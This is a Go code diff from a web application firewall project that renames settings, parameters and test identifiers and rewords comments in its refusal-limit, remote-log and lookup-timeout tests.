@@ -856,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
}{
{"no backend", wafBackend, nil},
{
"another invalid", wafBackendTimeout,
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
"another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
},
} {
t.Run(tc.name, func(t *testing.T) {
+5 -5
View File
@@ -340,11 +340,11 @@ func newAlertQueue(
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
BufferLines: cfg.LogRemoteBufferLines,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
Buffer: cfg.LogRemoteBufferLines,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
})
}
+1 -1
View File
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
BufferLines: 1,
Buffer: 1,
})
stopSending := startSending(t.Context(), sender,
+3 -5
View File
@@ -656,9 +656,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// so that a request that does not wait takes no time at all.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
@@ -781,8 +780,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// network inside it would keep its clock from moving on.
go server.Lists.Run(t.Context())
// In the bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
// answer takes exactly as long as waf waits, however busy the host is.
// GeoJS and AbuseIPDB never answer there, without the network. The query to
// the DNS blocklist waits on the network, which stops the bubble's clock,
+4 -6
View File
@@ -335,9 +335,8 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
// a GeoJS that never answers.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{unknownCountryLimitPercent: "0"})
@@ -385,9 +384,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// with a GeoJS that never answers.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{
+1 -3
View File
@@ -438,9 +438,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
}
}
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
t *testing.T,
) {
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a
+1 -1
View File
@@ -16,7 +16,7 @@ import (
// in observe mode if enforce mode would have: more than
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the limit is off.
// heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
+11 -11
View File
@@ -49,14 +49,14 @@ func (r refused) send(s *sender, from string) logLine {
}
// startForRefusalLimit is startWithClock with testRules, the metrics token and
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
func startForRefusalLimit(
t *testing.T, limit string, env map[string]string,
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *waf.Server) {
t.Helper()
settings := map[string]string{
refusalsLimitPerMinute: limit,
refusalsLimitPerMinute: threshold,
ruleFilesDir: writeRules(t, testRules),
metricsToken: token,
}
@@ -65,12 +65,12 @@ func startForRefusalLimit(
return startWithClock(t, "", settings)
}
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
func TestRefusalLimitBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the limit of three.
// refusals are four, one over the threshold of three.
refusals []refused
// nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent.
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
tagLimitPercent: countryTagDEHalf,
})
// Half of the limit would be one, which the second refusal is over.
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
}
}
// The first refusal is one, not over the limit.
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -297,19 +297,19 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
limit string
threshold string
// broken is whether the 31st refusal breaks the refusal limit.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
if tc.limit != "" {
env[refusalsLimitPerMinute] = tc.limit
if tc.threshold != "" {
env[refusalsLimitPerMinute] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)